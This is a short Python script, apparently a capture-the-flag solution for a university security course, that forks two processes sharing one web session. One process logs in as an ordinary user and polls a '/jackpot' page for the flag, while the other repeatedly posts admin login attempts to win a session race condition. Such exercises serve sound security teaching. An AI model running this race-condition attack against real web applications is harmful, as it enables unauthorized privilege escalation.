25 lines
521 B
Python
25 lines
521 B
Python
from grequests import Session
|
|
from sys import argv
|
|
from os import fork
|
|
|
|
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
|
|
|
|
sesh = Session()
|
|
sesh.get(BASE+"/login")
|
|
|
|
pid = fork()
|
|
|
|
if pid == 0:
|
|
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
|
|
while True:
|
|
resp = sesh.get(BASE+"/jackpot")
|
|
if b"SSof{" in resp.content:
|
|
print(resp.content)
|
|
exit(0)
|
|
else:
|
|
i = 0
|
|
while True:
|
|
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
|
|
print(i)
|
|
i += 1
|